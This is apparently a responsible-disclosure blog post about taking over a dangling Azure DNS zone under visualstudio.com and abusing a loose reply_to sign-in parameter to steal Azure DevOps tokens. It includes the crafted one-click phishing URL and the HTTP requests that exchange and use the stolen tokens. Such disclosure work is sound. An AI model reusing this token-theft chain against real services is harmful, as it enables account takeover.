Taking over Azure DevOps Accounts with 1 Click

Jun 28, 2020

When performing subdomain takeovers, you should be asking yourself, what is the impact, and how do I prove it? This was especially the case when taking over the subdomain project-cascade.visualstudio.com.

At first glance, it didn’t seem like we could do much by taking this subdomain over as nothing super sensitive lived under *.visualstudio.com. However, under deeper examination, we were able to exploit a trust boundary, leading to a 1 click account takeover of Azure DevOps accounts.

Technical Details

Through automation, we found the subdomain project-cascade.visualstudio.com, which was vulnerable to an Azure Zone DNS takeover.

The NS records for project-cascade.visualstudio.com were pointing to Azure DNS, however they were no longer registered on Azure DNS. This resulted in the lookups being refused, as shown below:

dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns3-05.azure-dns.org status: [Refused]           
dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns2-05.azure-dns.net status: [Refused]
dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns1-05.azure-dns.com status: [Refused]          
dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns4-05.azure-dns.info status: [Refused]

As the lookups were being refused, we were able to to register the subdomain under an Azure account that we owned. By doing so, we were able to create arbitrary DNS records for the subdomain project-cascade.visualstudio.com:

Azure Console with project-cascade.visualstudio.com registered as a DNS Zone


From this point on wards, we registered two records:

  • TXT Record - txt.project-cascade.visualstudio.com with the value of Azure DNS Zone Takeover POC (proof of concept)
  • A Record - arec.project-cascade.visualstudio.com with the value of 3.88.203.203 (our host)
$ dig txt txt.project-cascade.visualstudio.com @1.1.1.1

...omitted for brevity...

;; ANSWER SECTION:
txt.project-cascade.visualstudio.com. 10 IN TXT "Azure DNS Zone Takeover POC"

$ dig a arec.project-cascade.visualstudio.com @1.1.1.1

...omitted for brevity...

;; ANSWER SECTION:
arec.project-cascade.visualstudio.com. 2475 IN A 3.88.203.203

So, what’s next?

Now that we had successfully taken the subdomain over, it was time to investigate the security impact.

We discovered that there were subdomains underneath visualstudio.com that facilitated an authentication flow through login.microsoftonline.com.

For example, when visiting app.vssps.visualstudio.com, we were redirected to:

https://app.vssps.visualstudio.com/_signin?realm=app.vsaex.visualstudio.com&reply_to=https%3A%2F%2Fapp.vsaex.visualstudio.com%2F&redirect=1&context=eyJodCI6MywiaGlkIjoiNDA0ODFkZDAtZDUzMS1hMWE2LWQ0MzYtMDQxNTk3MWI0MmQ2IiwicXMiOnt9LCJyciI6IiIsInZoIjoiIiwiY3YiOiIiLCJjcyI6IiJ90#ctx=eyJTaWduSW5Db29raWVEb21haW5zIjpbImh0dHBzOi8vbG9naW4ubWljcm9zb2Z0b25saW5lLmNvbSJdfQ2

Which then redirected to:

https://login.microsoftonline.com/...omitted...

The most important thing to note from the URLs above, is the following parameter and value for the endpoint https://app.vssps.visualstudio.com/_signin:

reply_to=https%3A%2F%2Fapp.vsaex.visualstudio.com%2F

Through some testing, we determined that this authentication flow had a loosely configured reply_to address, allowing any domain under *.visualstudio.com to recieve the authentication tokens.

In order to demonstrate this account takeover flow, we crafted the following URL:

https://app.vssps.visualstudio.com/_signin?realm=app.vsaex.visualstudio.com&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F&redirect=1&context=eyJodCI6MywiaGlkIjoiNDA0ODFkZDAtZDUzMS1hMWE2LWQ0MzYtMDQxNTk3MWI0MmQ2IiwicXMiOnt9LCJyciI6IiIsInZoIjoiIiwiY3YiOiIiLCJjcyI6IiJ90

In the URL above, note that we changed the value of the reply_to parameter to contain the following: https%3A%2F%2Farec.project-cascade.visualstudio.com%2F (our subdomain takeover).

This will prompt the user to login via the normal microsoft live.com auth flow, or if the user is already logged in, proceed with the signin and redirect request.

Visual Studio Authentication Flow via login.microsoftonline.com


Once logged in, this resulted in the following request being made which ultimately resulted in a POST request to our controlled domain arec.project-cascade.visualstudio.com.

POST /_signedin?realm=arec.project-cascade.visualstudio.com&protocol=&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F HTTP/1.1
Host: arec.vssps.visualstudio.com
Cookie: ...omitted for brevity...

id_token=<snip>&FedAuth=<snip>&FedAuth1=<snip>%2B

Our controlled domain received the following request which contains authentication tokens for app.vsaex.visualstudio.com

POST /_signedin?realm=arec.project-cascade.visualstudio.com&protocol=&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F HTTP/1.1
Host: arec.project-cascade.visualstudio.com
Content-Length: 4634
Referer: https://arec.vssps.visualstudio.com/_signedin?realm=arec.project-cascade.visualstudio.com&protocol=&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F
Cookie: ...omitted for brevity...

id_token=<snip>&FedAuth=<snip>&FedAuth1=<snip>
Final Authentication Token received by arec.project-cascade.visualstudio.com (controlled by us)


What can this token be used for?

We found that we could exchange the stolen authentication token for a Bearer token through app.vsaex.visualstudio.com. This Bearer token could then be used to authenticate to vsaex.visualstudio.com, dev.azure.com and vssps.dev.azure.com.

POST /_apis/WebPlatformAuth/SessionToken HTTP/1.1
Host: app.vsaex.visualstudio.com
Connection: close
Content-Length: 105
Origin: https://app.vsaex.visualstudio.com
X-VSS-ReauthenticationAction: Suppress
Content-Type: application/json
Accept: application/json;api-version=6.0-preview.1;excludeUrls=true
X-Requested-With: XMLHttpRequest
...omitted for brevity...
Cookie: UserAuthentication=<snipped id_token>; FedAuth=<snipped FedAuth>; FedAuth1=<snipped>

{"appId":"00000000-0000-0000-0000-000000000000","force":false,"tokenType":0,"namedTokenId":"Aex.Profile"}

This request returns the following response with a valid bearer token that can be used elsewhere

HTTP/1.1 200 OK
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Content-Length: 933
Content-Type: application/json; charset=utf-8; api-version=6.0-preview.1
...omitted for brevity...

{"appId":"00000000-0000-0000-0000-000000000000","token":"<snip>","tokenType":"session","validTo":"2020-05-12T06:45:47.2007474Z","namedTokenId":"Aex.Profile"}

e.g. on app.vsaex.visualstudio.com this token can be used to pull the user’s email

GET /_apis/User/User HTTP/1.1
Host: app.vsaex.visualstudio.com
Connection: close
X-TFS-FedAuthRedirect: Suppress
X-VSS-ReauthenticationAction: Suppress
X-Requested-With: XMLHttpRequest
Accept-Language: en-US
Authorization: Bearer <snip just recieved bearer token>
Accept: application/json;api-version=6.0-preview.1;excludeUrls=true
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
X-TFS-Session: ab1e4b56-599c-4ab6-9f5e-756c486a0f2b
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://app.vsaex.visualstudio.com/me?mkt=en-US
Accept-Encoding: gzip, deflate


HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 258
...omitted for brevity...

{"descriptor":"msa.NTg0Zjc4NDAtYzc5ZC03MWU0LWJkN2ItMDZhY2Y1N2Q2OTA1","displayName":"s","mail":"<account_email>","unconfirmedMail":null,"country":"AU","dateCreated":"2018-05-25T23:19:53.6843383+00:00","lastModified":"2019-01-06T15:43:50.2963651+00:00","revision":0}

The Bearer token could be used to access https://app.vsaex.visualstudio.com/me?mkt=en-US which we found to disclose project names for the associated user on dev.azure.com.

Access to app.vsaex.visualstudio.com/me through the stolen token


Ultimately, this allowed us to use the token on dev.azure.com to access resources:

GET /seanyeoh/_usersSettings/keys?__rt=fps&__ver=2 HTTP/1.1
Host: dev.azure.com
Connection: close
x-tfs-fedauthredirect: Suppress
Origin: https://dev.azure.com
x-vss-reauthenticationaction: Suppress
authorization: Bearer <snip>
accept: application/json;api-version=5.0-preview.1;excludeUrls=true;enumsAsNumbers=true;msDateFormat=true;noArrayWrap=true
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Accessing resources from dev.azure.com with the generated token

Impact

A malicious attacker could perform a 1 click drive by attack on an unsuspecting user by directing them to a URL such as:

https://app.vssps.visualstudio.com/_signin?realm=app.vsaex.visualstudio.com&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F&redirect=1&context=eyJodCI6MywiaGlkIjoiNDA0ODFkZDAtZDUzMS1hMWE2LWQ0MzYtMDQxNTk3MWI0MmQ2IiwicXMiOnt9LCJyciI6IiIsInZoIjoiIiwiY3YiOiIiLCJjcyI6IiJ90

This would result in their app.vsaex.visualstudio.com tokens being disclosed.

From this point, the the attacker would have full control over the user’s Azure DevOps account.

Additionally, the zone takeover of project-cascade.visualstudio.com could have beeen used to validate ownership over the project-cascade.visualstudio.com domain, setup MX records to capture emails to *.project-cascade.visualstudio.com and prove ownership to create SSL certificates. This may have resulted in various opportunities for fraud and impersonation of Microsoft services.

Remediation

This attack could be mitigated at two points:

  1. Not having the dangling dns zone project-cascade.visualstudio.com
  2. Restricting the reply_to url for visualstudio tokens on app.vssps.visualstudio.com to the realm for app.vsaex.visualstudio.com

Timeline

  1. 20th May 2020 - Report filed
  2. 22nd May 2020 - Issue triaged
  3. 22nd May 2020 - $3000 Bounty Awarded
Bounty awarded by Microsoft


Thanks to the MSRC and Azure Devops team for the quick triage and remediation of the issue.

Assetnote

Assetnote can help you detect these issues through continuously monitoring your attack surface. For a deeper and comprehensive integration, our Azure Integration ensures your infrastructure’s state is synced with our engine to ensure that your security team is alerted when hosted zone takeovers become vulnerable.